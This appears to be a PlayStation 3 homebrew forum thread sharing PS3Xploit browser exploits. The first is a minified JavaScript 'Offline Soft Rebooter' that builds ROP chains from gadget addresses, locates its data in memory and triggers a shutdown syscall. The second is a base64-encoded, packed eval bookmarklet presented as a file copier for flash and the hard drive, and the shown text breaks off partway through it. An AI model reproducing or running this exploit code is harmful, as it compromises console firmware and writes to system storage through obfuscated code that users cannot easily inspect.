d,_,i,s,n=document.getElementById("exploit").style.src.substr(6,a),o=0;o\742*n.length;){if(n.charCodeAt(o/2)===t.charCodeAt(0)){for(i=0,_=0;_\742*t.length&&n.charCodeAt((o+_)/2)===t.charCodeAt(_/2);_+=2)i+=1;if(i===t.length){for(s=r+o+4,d=0;d\74offset_array.length;d+=1)if(offset_array[d]===s)return-1;return offset_array.push(s),s}}o+=16}return 0}function memcpy(e,t,r){return callsub(gadget8_addr,e,t,r,0,0,0,0,0,0,112)}function store_word(e,t,r,a,d){return null===r&&(r=gtemp_addr),null===a&&(a=gtemp_addr),null===d&&(d=gtemp_addr),hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(t)+fill_by_8bytes(8,dbyte41)+hexdw2bin(e-3188)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod7_addr)+fill_by_16bytes(112,dbyte41)+hexdw2bin(r)+hexdw2bin(a)+hexdw2bin(d)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function stack_frame_hookup(){return unescape("??")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(32,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(112,dbyte41)}function stack_frame_exit(){return hexdw2bin(gadget_mod8_addr)+unescape("?")}function syscall(e,t,r,a,d,_,i,s,n,o){return null===o&&(o=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(e)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(o)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function callsub(e,t,r,a,d,_,i,s,n,o,h,b,l){return null===l&&(l=gtemp_addr),null===b&&(b=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(o)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(b)+fill_by_16bytes(16,dbyte41)+hexdw2bin(e)+fill_by_16bytes(h-32,dbyte00)+hexdw2bin(l)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function fill_by_4bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/4;)r+=d.repeat(2),a++;return r}function fill_by_8bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/8;)r+=d.repeat(4),a++;return r}function fill_by_16bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/16;)r+=d.repeat(8),a++;return r}function initDefaults(){offset_array=[],xtra_data_addr=0,stack_frame_addr=0,jump_2_addr=0,jump_1_addr=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_size_ext=0*mbytes,search_base_off=0*mbytes,total_loops++}function initROP(e){try{for(!0===e&&(frame_fails=0,search_base_off=0,search_size_ext=0),0!==t_out&&(clearTimeout(t_out),t_out=0),initDefaults(),xtra_data=start_x.convert()+unescape("?");0===xtra_data_addr;){if(search_max_threshold\74search_size)return void load_check();xtra_data=xtra_data.replaceAt(0,hexh2bin(32509)),xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size),search_max_threshold-=search_size}for(stack_frame=stack_frame_hookup()+callsub(gadget12_addr,2,0,0,0,0,0,0,0,0,128)+syscall(sc_sm_shutdown,soft_reboot,0,0,0,0,0,0,0)+stack_frame_exit();0===stack_frame_addr;){if(search_max_threshold\74search_size+search_size_ext)return++frame_fails%10==0&&(search_base_off+=0,search_size_ext+=0),void load_check();if(stack_frame=stack_frame.replaceAt(0,hexh2bin(10799)),-1==(stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext))&&search_max_threshold\74search_size+search_size_ext)return frame_fails++,void load_check();search_max_threshold-=search_size+search_size_ext}for(jump_2=unescape("A?")+fill_by_16bytes(48,33410)+hexw2bin(stack_frame_addr)+unescape("?");0===jump_2_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_2=jump_2.replaceAt(0,hexh2bin(32507)),-1==(jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}for(jump_1=unescape("??")+hexw2bin(jump_2_addr)+unescape("?");0===jump_1_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_1=jump_1.replaceAt(0,hexh2bin(32506)),-1==(jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}var t=checkMemory(stack_frame_addr-4,32768,stack_frame.length),r=checkMemory(xtra_data_addr-4,4096,xtra_data.length),a=checkMemory(jump_2_addr-4,4096,jump_2.length),d=checkMemory(jump_1_addr-4,4096,jump_1.length);a===jump_2&&d===jump_1&&r===xtra_data&&t===stack_frame?(0!==t_out&&clearTimeout(t_out),triggerX()):load_check()}catch(e){debug=!0,debug=!1}}function triggerX(){setTimeout(trigger,1e3,jump_1_addr),setTimeout(rop_exit,2e3,hr),setTimeout(window.close,2e3),t_out=0,total_loops=0}document.write(\47\74html\76\74head\76\74title\76PS3Xploit - Offline Soft Rebooter by lmn7\74/title\76\74/head\76\74body id="bodyId" style="background-color:#FFFFFF"\76\74div id="headerId"\76\74h1\76Rebooting...\74/h1\76\74span id="hideme" style="visibility:hidden"\76\74p\76\74button id="btnROP" type="button" onclick="initROP(true);" autofocus\76Initialize\74/button\76 | Close \74input type="checkbox" id="auto_close" name="aclose" checked="checked" onclick="autoclose();"/\76\74span id="dex_txt" style="visibility:hidden"\76\74input type="checkbox" id="dex" name="DEX" disabled="" onclick="dex();"/\76\74/span\76\74/p\76\74p\76\74button id="btnTrigger" disabled="" type="button" onclick="triggerX();"\76En\74/button\76\74span id="reset" style="visibility:hidden"\76 | \74button id="btnReset" type="button" onclick="disable_trigger();"\76Reset\74/button\76\74/span\76\74/p\76\74/span\76\74div id="exploit" \76\74/div\76\74div id="trigger"\76\74/div\76\74/body\76\74/html\76\47),String.prototype.toHex16=function(){return("0000"+this).substr(-4)},String.prototype.toAscii=function(e){for(var t="",r=0;r\74this.length;)t+=!0===e?this.charCodeAt(r).toString(16).toHex16():this.charCodeAt(r).toString(16),r+=1;return t},String.prototype.convert=function(e){if(this.length\741)return"";var t="",r="",a=0,d=[];for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";for("00"!==t.substr(t.length-3,2)&&(t+="0000");a\74t.length;)r=t.substr(a,4),d.push(String.fromCharCode(parseInt(r,16))),a+=4;return d.join("")},String.prototype.convertedSize=function(e){if(this.length\741)return 0;var t="";for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";return"00"!==t.substr(t.length-3,2)&&(t+="0000"),t.length/2},String.prototype.replaceAt=function(e,t){return this.substr(0,e)+t+this.substr(e+t.length)},String.prototype.repeat=function(e){return new Array(e+1).join(this)},Number.prototype.noExponents=function(){var e=String(this).split(/[eE]/);if(1===e.length)return e[0];var t="",r=this\740?"-":"",a=e[0].replace(".",""),d=Number(e[1])+1;if(d\740){for(t=r+"0.";d++;)t+="0";return t+a.replace(/^\-/,"")}for(d-=a.length;d--;)t+="0";return a+t},initROP(!0);';eval(rbt);

Set that script as the module_action string and it will work.
Thanks. Now it works for me. I had a corrupted pkg that did not install.

Gesendet von meinem ZTE A2017G mit Tapatalk
 
I was bored so I decided to work on something that I've had in mind for a little while. This is an offline file copier you can use to copy files to flash or the hard drive. It's based on the auto file copier.

Code:
javascript:eval(atob("ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUscil7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXJbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gcltlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCdxIFQsMTUsMTcsMTgsMWosMTksMWEsMWIsMVE9ITEsMlc9IjRqIiwxcz1bXSxYPTAsST00aywxaz00bCxCPTIqMWMsMXQ9MCxZPTAsdz00bSwxbD0wLDJvPTIwLDFEPTAsMWQ9NG4sNG89NHAsbz00cSwxZT0wLDRyPTEsNHM9MiwxUj00LDFtPTgsMWM9NHQsMXU9NDAsMnA9NHUsNHY9NHcsNHg9NHksNHo9NEEsNEI9NEMsNEQ9NEUsNEY9MCwyWD00Ryw0SD00SSw0Sj00Syw0TD00TSw0Tj00Tyw0UD00USwyWT00UiwyWj00UywzMD00VCwycT00VSwzMT00ViwzMz00VywzND00WCwzNT00WSwzNj00WiwzNz01MSwycj01MywzOD01NCw1NT01Niwycz01NywxdT01OCwzOT01OSwzYT01YSwxRT01YiwxZj01YywydD01ZCwzYj01ZSwzYz01Ziwxbj01ZyxaPSI8Wj4iLDFTLDFULDJ1PVwnNWg6NWlcJywydj1cJzVqXCcsMnc9XCcvNWtcJywzZD01bCwzZT01bSwzZj01biwxdj0wLDFVPTAsMVY9MCwxVz0wLDFYPTAsMVk9MCwxWj0wLDIxPTAsMXc9MCwyMj0wLDIzPTAsMng9MCwzZz01byxaPSI8Wj4iLDEyPSI8MTI+IiwzaD1aKyI8VT48Yj41cCA1cSAzaSE8L1U+PC9iPiIsM2o9WisiPFU+PGI+NXIgMWcuLi4gIiwzaz1cJyU8L2I+PC9VPlwnO0MuNXMoXCc8M2w+PDNtPjJ5IC0gM24gMjUgM28gMnogM3A8LzNtPjxVPjJ5IC0gM24gMjUgM28gMnogM3AgQCA1dC01dS41djwvVT48M3E+NXcgNXggMnogNXkgMnk6IFcsIDV6LCA1QSwgNUI8LzNxPjxaPjwxMj48Yj4zciAzcyAzdDogPC9iPjwyNiBHPSIzdSI+PEogRz0iNUMiIDI3PSIyNyIgTj0iLzI4LyI+LzI4LzwvSj48SiBHPSI1RCIgTj0iLzI5LyI+LzI5LzwvSj48SiBHPSI1RSIgTj0iLzJhLyI+LzJhLzwvSj48SiBHPSI1RiIgTj0iLzN2LyI+LzN2LzwvSj48LzI2PjxiPiA8L2I+PDJiIDJjPSIzdyIgRz0iMkEiIDJCPSIyQSIgM3g9IjN5IiAzej0iNTAiIE49IjNyLjNBIj48MTI+PDEyPjxiPjNCIDNzIDN0OiA8L2I+PDI2IEc9IjNDIj48SiBHPSI1RyIgMjc9IjI3IiBOPSIvMmEvIj4vMmEvPC9KPjxKIEc9IjVIIiBOPSIvMjgvIj4vMjgvPC9KPjxKIEc9IjVJIiBOPSIvMjkvIj4vMjkvPC9KPjwvMjY+PGI+IDwvYj48MmIgMmM9IjN3IiBHPSIyQyIgMkI9IjJDIiAzeD0iM3kiIDN6PSI1MCIgTj0iM0IuM0EiPjwxMj48MTI+PDNEPjwyYiAyYz0iNUoiIEc9IjNFIiAyQj0iNUsiIDFGPSIxRiI+NUwtNU08LzNEPjwxMj48MTI+PDNGIDVOPSIiPjwyYiAyYz0iNU8iIE49IjVQIiA1UT0iMkQoTykiLz48LzNGPjwxeCBHPSIzRyI+PC8xeD48MXggRz0iMWciPjwvMXg+PDF4IEc9IjFHIj48LzF4PjwvNVI+PC8zbD5cJyk7ciAyRShhKXtxIGI9Qy41UygiNVQiKTsxSChxIHg9MDt4PGIueTt4Kyspe2JbeF0uNVU9YX19ciAzSChhLGIpezcoYSl7YS4zST1ifX1yIDJkKGEpezNIKEMuRihcJzNHXCcpLGEpOzcoYS41VigiNVciKSE9LTEpezJFKDJGKX19ciAzSihhLGIsYyl7cSBkPVQuUigxU1swXSwyKS4xSShPKTtxIGU9VC5SKDFUWzBdLDIpLjFJKE8pO3EgZjs3KChWKGQsMTYpIT09MCkmJihWKGQsMTYpPT09KFYoZSwxNikpKSl7cSBnPUMuRihcJzNLXCcpOzcoZyl7NyhnLjFGPT09TykzTC4zTSgpfWY9YX0xM3s3KGMpezcoKFYoZCwxNikhPT1WKGUsMTYpKXx8KFYoZCwxNik9PT0wKSliKz1jfWY9Yn0yZChmKX1yIDNOKGEpe3AgOSgxZikrdShQLG8pKzkodykrOShhKStLKEwsbykrOSgyWil9ciAzTyhhLGIsYyxkLGUsZil7cSBnPUMuRihcJzNFXCcpO3EgdD1bXCdcJyxcJ1wnLFwnXCcsXCdcJyxcJ1wnXTs3KGIpdFswXT0xbyhiK0QsYStBLDFuKTs3KGMpdFsxXT0xbyhjK0QsYStBLDFuKTs3KGQpdFsyXT0xbyhkK0QsYStBLDFuKTs3KGUpdFszXT0xbyhlK0QsYStBLDFuKTs3KGYpdFs0XT0xbyhmK0QsYStBLDFuKTs3KGcpezcoZy4xRj09PU8pcCB0WzBdK3RbMV0rdFsyXSt0WzNdK3RbNF0rM04oYSl9cFwnXCd9ciAyRyhhLGIsYyxkLGUsZixnLGgsaSxqKXs3KGo9PT1FKXtqPXd9cCA5KDFmKSt1KFAsbykrOSh3KSt1KEEsbykrOSgxRSkrdSgxSixvKStRKDFwLG8pK3YoYSkrdihpKSt2KGcpK3YoZikrdihlKSt2KGQpK3YoYykrUShELG8pK3YoaCkrdSgxSyxvKSs5KGIpK3UoQSxvKSs5KDJxKSt1KFAsbykrOShqKSs5KDFkKStLKEwsbyl9ciAySChhLGIsYyxkLGUsZixnLGgsaSxqKXs3KGo9PT1FKXtqPXd9cCA5KDFmKSt1KFAsbykrOSh3KSt1KEEsbykrOSgxRSkrdSgxSixvKStRKDFwLG8pK3YoYSkrdihpKSt2KGcpK3YoZikrdihlKStRKEQsbykrdihjKStRKEQsbykrdihoKSt1KEEsbykrOShkLUQpKzkodykrSyg1WCxvKSs5KDMxKSt1KDVZLG8pKzkoYikrdShBLG8pKzkoMnEpK3UoUCxvKSs5KGopKzkoMWQpK0soTCxvKX1yIDNQKGEsYixjLGQsZSxmLGcsaCxpLGope3AgMkkoaCsxdSxpLDFtKSsxeSgzYSxhLGgsMCwwLDAsMCwwLDApKzJJKGosaCsxdSwxUikrMXkoMnMsYSwyWSxjLDAsMCwwLDAsMCkrMkgoMzgsYyxlLGgrMXUsZiwwLDAsMCwwLDAsMCkrMkcoMnIsYywwLDAsMCwwLDAsMCwwLDAsMCkrMW8oZitELGIsMCkrMXkoMnMsYiwzNSxkLDM0LGksMCwwLDApKzJIKDMzLGQsZSxoKzF1LGcsMCwwLDAsMCwwLDApKzJHKDJyLGQsMCwwLDAsMCwwLDAsMCwwLDApfXIgM1EoYSxiLGMsZCxlLGYsZyl7NyhiPT09RSl7Yj13fTcoYz09PUUpe2M9d303KGQ9PT1FKXtkPXd9NyhlPT09RSl7ZT13fTcoZj09PUUpe2Y9d303KGc9PT1FKXtnPXd9cCA5KDJ0KSt1KFAsbykrOSh3KSs5KGEtTCkrOSh3KSt1KEEsbykrOSgzNykrdSgxSixvKStLKEwsbykrOShiKSs5KGMpKzkoZCkrOShlKSs5KGYpKzkoZykrOSgxZCkrSyhMLG8pfXIgMW8oYSxiLGMsZCxlLGYpezcoZD09PUUpe2Q9d303KGU9PT1FKXtlPXd9NyhmPT09RSl7Zj13fXAgM1EoYSx3LHcsdyx3LGIsdykrOSgzNikrdSgxTCwxZSkrSyhMLDFlKSs5KGMpK3UoQSwxZSkrOShkKSs5KGUpKzkoZikrOShjKStLKEwsbyl9ciAzUihhKXtwIDkoMWQpK0soTCxvKSsySigzZCwyLDAsMCwwLDAsMCwwLDAsMCw1WikrMXkoM2UsYSwwLDAsMCwwLDAsMCwwKX1yIDNTKGEpezcoYSl7cCBhLjYwfX1yIDNUKGEpezcoYSl7cCAzUyhhKX19ciAzVShhKXs3KGEpe3AgYS5OfX1yIDJLKGEpezcoYSl7cCAzVShhLjYxWzNUKGEpXSl9fXIgM1YoKXtwIDJLKEMuRihcJzN1XCcpKX1yIDJMKGEpe3AgM1YoKSthfXIgM1coKXtwIDJLKEMuRihcJzNDXCcpKX1yIDJNKGEpe3AgM1coKSthfXIgM1goYSxiLGMsZCxlKXs3KGE9PT1PKXsxRD0wOzF0PTA7WT0wfTcoWCE9PTApezNZKFgpO1g9MH0xcz1bXTsxUz1bXTsxVD1bXTsxaj0wOzE5PTA7MWE9MDsxYj0wO0k9M1oqNDE7MWs9YjtCPWM7MXQ9ZDtZPWU7MWwrK31yIDFoKGEpe3AgUy4yZShhKX1yIHYoYSl7cCBTLjJlKGE+PjE2KStTLjJlKGEpfXIgOShhKXtwIHYoMCkrdihhKX1TLjFxLjQyPXIoKXtwKFwnMk5cJytIKS5SKC00KX07Uy4xcS4xST1yKGEpe3EgYj1cJ1wnO3EgaT0wO00oaTxILnkpezcoYT09PU8pe2IrPUguMXooaSkuMmYoMTYpLjQyKCl9MTN7Yis9SC4xeihpKS4yZigxNil9aSs9MX1wIGJ9O1MuMXEuMUE9cihhKXs3KEgueTwxKXtwXCdcJ31xIGI9XCdcJztxIGM9XCdcJztxIGk9MDtxIGQ9W107NyhhPT09Tyl7Yj1IfTEze2I9SC4xSSgpfU0oKGIueSU0KSE9PTApe2IrPVwnMmdcJ303KGIuUihiLnktMywyKSE9PVwnMmdcJyl7Yis9XCcyTlwnfU0oaTxiLnkpe2M9Yi5SKGksNCk7ZC4yTyhTLjJlKFYoYywxNikpKTtpKz00fXAgZC4yUChcJ1wnKX07Uy4xcS4xQj1yKGEpezcoSC55PDEpe3AgMH1xIGI9XCdcJzs3KGE9PT1PKXtiPUh9MTN7Yj1ILjFJKCl9TSgoYi55JTQpIT09MCl7Yis9XCcyZ1wnfTcoYi5SKGIueS0zLDIpIT09XCcyZ1wnKXtiKz1cJzJOXCd9cCBiLnkvMn07Uy4xcS4xTT1yKGEsYil7cCBILlIoMCxhKStiK0guUihhK2IueSl9O1MuMXEuMmg9cihhKXtwIDQzIDQ0KGErMSkuMlAoSCl9OzQ1LjFxLjQ2PXIoKXtxIGE9UyhIKS42MigvWzYzXS8pOzcoYS55PT09MSl7cCBhWzBdfXEgej1cJ1wnLDQ3PUg8MD9cJy1cJzpcJ1wnLDJpPWFbMF0uNDgoXCcuXCcsXCdcJyksMU49NDUoYVsxXSkrMTs3KDFOPDApe3o9NDcrXCcwLlwnO00oMU4rKyl7eis9XCcwXCd9cCB6KzJpLjQ4KC9eXFwtLyxcJ1wnKX0xTi09MmkueTtNKDFOLS0pe3orPVwnMFwnfXAgMmkren07ciA0OShhLGIsYyl7cSBkPTA7cSBnPVtdO3EgaTtxIGo7cSBoOzFIKGk9YS55O2k7aS09MSl7aD1hW2ktMV07MUgoaj04O2o7ai09MSl7Zy4yTyhoJTI/MTowKTtoPWg+PjF9fWcuNjQoKTtxIGs9Zy4yUChcJ1wnKTtxIGw9KDE8PChiLTEpKS0xO3Egcz1WKGsuMlEoMCwxKSwyKT8tMToxO3EgZT1WKGsuMlEoMSwxK2IpLDIpO3EgZj1WKGsuMlEoMStiKSwyKTs3KGU9PT0oMTw8YiktMSl7ZD1mIT09MD82NTpzKjY2fTEzIDcoZT4wKXtkPXMqMmouMmsoMixlLWwpKigxK2YvMmouMmsoMixjKSl9MTMgNyhmIT09MCl7ZD1zKjJqLjJrKDIsLShsLTEpKSooZi8yai4yaygyLGMpKX0xM3tkPXMqMH1wIGQuNDYoKX1yIDRhKGEsYil7cSBjPTQzIDQ0KChhPj4yNCkmMWksKGE+PjE2KSYxaSwoYT4+OCkmMWksKGEpJjFpLChiPj4yNCkmMWksKGI+PjE2KSYxaSwoYj4+OCkmMWksKGIpJjFpKTtwIDQ5KGMsMTEsNTIpfXIgNGIoYSxiKXtxIG49KGE8PDMyKXwoKGI+PjEpLTEpO3AgNGEoYSwobi1hKSl9ciAyUihhLGIpezcoQy5GKFwnMWdcJykpe0MuRihcJzFnXCcpLjFDLjJsPSI2NygiKzRiKGEsYikrIikifX1yIDFPKGEsYixjKXs3KEMuRihcJzFnXCcpKXsyUihhLGIpOzcoMVE9PT1PKXtxIHg9Qy5GKFwnMWdcJykuMUMuMmwuUig2LGMpO3AgeH1wIEMuRihcJzFnXCcpLjFDLjJsLlIoNixjKX19ciAxRyhhKXs3KEMuRihcJzFHXCcpKXtDLkYoIjFHIikuM0k9LTY4KCI2OSg2YSIrYS4yZigxNikrIikiKX19ciA2YihhKXtxIGI9Qy5GKFwnM0tcJyk7NyhiKXs3KGIuMUY9PT1PKTNMLjNNKCl9fXIgMTQoKXs3KDFsPDJvKXsyZCgzaisoKDZjLzJvKSoxbCkuMmYoKSszayk7WD0yUygyRCw0YywyRil9MTN7MWw9MDsyZCgzaCk7WD0wfX1yIDFQKGEsYixjLGQpezJSKGMsZCk7cSBlPUMuRihcJzFnXCcpLjFDLjJsLlIoNixkKTtxIGk9MDtxIHQ7cSBrO3EgZjtxIGc7TShpPChlLnkqMikpezcoZS4xeihpLzIpPT09Yi4xeigwKSl7Zj0wOzFIKGs9MDtrPChiLnkqMik7ays9NmQpezcoZS4xeigoaStrKS8yKSE9PWIuMXooay8yKSl7NmV9Zis9MX03KGY9PT1iLnkpe2c9YytpKzQ7MUgodD0wO3Q8MXMueTt0Kz0xKXs3KDFzW3RdPT09Zyl7cC0xfX0xcy4yTyhnKTtwIGd9fWkrPUF9cSBoPWMrZDtwIDB9ciAySShhLGIsYyl7cCAySigzOSxhLGIsYywwLDAsMCwwLDAsMCwxTCl9ciA2ZihhLGIsYyxkLGUpezcoYz09PUUpe2M9d303KGQ9PT1FKXtkPXd9NyhlPT09RSl7ZT13fXAgOSgydCkrdShQLG8pKzkoYikrSyhMLG8pKzkoYS02ZykrdShBLG8pKzkoM2MpK3UoMUwsbykrOShjKSs5KGQpKzkoZSkrOSgxZCkrSyhMLG8pfXIgNGQoKXtwIDFyKCJcXDRlXFw2aCIpK3YoMlgpK3YoMnApK3UoMUssbykrOSgycCkrdSgxTCxvKX1yIDRmKCl7cCA5KDFuKSsxcigiXFw2aSIpfXIgMXkoYSxiLGMsZCxlLGYsZyxoLGksail7NyhqPT09RSl7aj13fXAgOSgxZikrdShQLG8pKzkodykrdShBLG8pKzkoMUUpK3UoMUosbykrUSgxcCxvKSt2KGEpK3YoaSkrdihnKSt2KGYpK3YoZSkrdihkKSt2KGMpK1EoRCxvKSt2KGgpK3UoMUssbykrOShiKSt1KEEsbykrOSgxZikrdShQLG8pKzkodykrdShBLG8pKzkoM2IpK3UoUCxvKSs5KGopKzkoMWQpK0soTCxvKX1yIDJKKGEsYixjLGQsZSxmLGcsaCxpLGosayxsLG0pe3Egbj0xSzs3KG09PT1FKXttPXd9NyhsPT09RSl7bD13fXAgOSgxZikrdShQLG8pKzkodykrdShBLG8pKzkoMUUpK3UoMUosbykrUSgxcCxvKSt2KGopK3YoaSkrdihnKSt2KGYpK3YoZSkrdihkKSt2KGMpK1EoRCxvKSt2KGgpK3UoMUssbykrOShiKSt1KEEsbykrOSgxZikrdShQLG8pKzkobCkrdShBLG8pKzkoYSkrdShrLW4sMWUpKzkobSkrOSgxZCkrSyhMLG8pfXIgUShhLGIpe3EgYz1cJ1wnO3EgZD0wO3EgZT0xaChiKTtNKGQ8YS80KXtjKz1lLjJoKDIpO2QrK31wIGN9ciBLKGEsYil7cSBjPVwnXCc7cSBkPTA7cSBlPTFoKGIpO00oZDxhLzgpe2MrPWUuMmgoNCk7ZCsrfXAgY31yIHUoYSxiKXtxIGM9XCdcJztxIGQ9MDtxIGU9MWgoYik7TShkPGEvMTYpe2MrPWUuMmgoOCk7ZCsrfXAgY31yIDZqKCl7MXM9W107MWo9MDsxOT0wOzFhPTA7MWI9MDtJPTNaKjQxOzFrPTZrO0I9MioxYztZPTAqMWM7MXQ9MCoxYzsxbCsrfXIgMkQoYSl7MkUoTyk7Nmx7M1goYSw2bSw1LzIqMWMsMCoxYywwKjFjKTsyVD1DLkYoIjJBIikuTjsyVT1DLkYoIjJDIikuTjtUPSgyVysydSkuMUEoKSsydi4xQSgpKzJ3LjFBKCkrMkwoMlQpLjFBKCkrUSgxcCwxZSkrMk0oMlUpLjFBKCkrUSgxcCwxZSkrdSgxTCwxZSkrM1IoM2YpKzFyKCJcXDZuIik7TSgxaj09PTApezcoSTxCKXsxNCgpO3B9VD1ULjFNKDAsMWgoNm8pKTsxaj0xUCgiVCIsVCwxayxCKTtJLT1CfTF2PTFqOzFVPTF2KzJ1LjFCKCk7MVY9MVUrMnYuMUIoKTsxVz0xVisydy4xQigpOzFZPTFXKzJMKDJUKS4xQigpOzFYPTFZKzFSOzFaPTFYKzFtOzIxPTFaKzJNKDJVKS4xQigpOzF3PTIxKzFSOzFTWzBdPSgxdy0xditMKS8yOzIyPTF3KzFtOzJtPTIyKzFtOzFUWzBdPSgybS0xditEKS8yOzIzPTJtKzFtOzJ4PTIzKzFtKjFwOzE1PTRkKCkrMXkoM2csMXYsMVUsMVYsMCwwLDAsMCwwKSszUCgxVywxWiwxWSwyMSwzMCwxWCwxdywyMywyMiwybSkrM08oMngsMXcpKzRmKCk7TSgxOT09PTApezcoSTxCK1kpezFEKys7NygoMUQlMTApPT09MCl7MXQrPTA7WSs9MH0xNCgpO3B9MTU9MTUuMU0oMCwxaCg2cCkpOzE5PTFQKCIxNSIsMTUsMWsrMXQsQitZKTs3KDE5PT0tMSk3KEk8QitZKXsxRCsrOzE0KCk7cH1JLT1CK1l9MTc9MXIoIlxcNnFcXDZyIikrdSg2cyw2dCkrdigxOSkrMXIoIlxcNnUiKTtNKDFhPT09MCl7NyhJPEIpezE0KCk7cH0xNz0xNy4xTSgwLDFoKDZ2KSk7MWE9MVAoIjE3IiwxNywxayxCKTs3KDFhPT0tMSk3KEk8Qil7MTQoKTtwfUktPUJ9MTg9MXIoIlxcNGVcXDZ3IikrdigxYSkrMXIoIlxcNngiKTtNKDFiPT09MCl7NyhJPEIpezE0KCk7cH0xOD0xOC4xTSgwLDFoKDZ5KSk7MWI9MVAoIjE4IiwxOCwxayxCKTs3KDFiPT0tMSk3KEk8Qil7MTQoKTtwfUktPUJ9cSBiPTFPKDE5LUQsNnosMTUueSk7cSB4PTFPKDFqLUQsMlYsVC55KTtxIGM9MU8oMWEtRCwyViwxNy55KTtxIGQ9MU8oMWItRCwyViwxOC55KTs3KChjPT09MTcpJiYoZD09PTE4KSYmKHg9PT1UKSYmKGI9PT0xNSkpezcoWCE9PTApezNZKFgpfTRnKCl9MTN7MTQoKX19NkEoZSl7MVE9TzsxUT0yRn19ciA0ZygpezJTKDFHLDRjLDFiKTsyUygzSiw2QixaKyI8VT48Yj48Mm4gMUM9XCc0aDo2Q1wnPjI1IDRpIDZEITwvYj48L1U+PC8ybj4iLForIjxVPjxiPjwybiAxQz1cJzRoOjZFXCc+MjUgNGkgM2khPC9iPjwvVT48LzJuPiIsIiIpO1g9MDsxbD0wfScsNjIsNDEzLCd8fHx8fHx8aWZ8fGhleGR3MmJpbnx8fHx8fHx8fHx8fHx8fGRieXRlNDF8cmV0dXJufHZhcnxmdW5jdGlvbnx8fGZpbGxfYnlfMTZieXRlc3xoZXh3MmJpbnxndGVtcF9hZGRyfHxsZW5ndGh8fDB4MTB8c2VhcmNoX3NpemV8ZG9jdW1lbnR8MHg0fG51bGx8Z2V0RWxlbWVudEJ5SWR8aWR8dGhpc3xzZWFyY2hfbWF4X3RocmVzaG9sZHxvcHRpb258ZmlsbF9ieV84Ynl0ZXN8MHg4fHdoaWxlfHZhbHVlfHRydWV8MHg2MHxmaWxsX2J5XzRieXRlc3xzdWJzdHJ8U3RyaW5nfHh0cmFfZGF0YXxoMXxwYXJzZUludHx8dF9vdXR8c2VhcmNoX3NpemVfZXh0fGhyfHx8YnJ8ZWxzZXxsb2FkX2NoZWNrfHN0YWNrX2ZyYW1lfHxqdW1wXzJ8anVtcF8xfHN0YWNrX2ZyYW1lX2FkZHJ8anVtcF8yX2FkZHJ8anVtcF8xX2FkZHJ8bWJ5dGVzfHNwX2V4aXR8ZGJ5dGUwMHxnYWRnZXRfbW9kMl9hZGRyfGV4cGxvaXR8aGV4aDJiaW58MHhGRnx4dHJhX2RhdGFfYWRkcnxzZWFyY2hfYmFzZXx0b3RhbF9sb29wc3xkd29yZF9zaXplfGdhZGdldF9tb2Q4X2FkZHJ8dmFsaWRhdGVfd29yZF9mcm9tX3B0cnwweEN8cHJvdG90eXBlfHVuZXNjYXBlfG9mZnNldF9hcnJheXxzZWFyY2hfYmFzZV9vZmZ8c3RhdF9zaXplX29mZnNldHx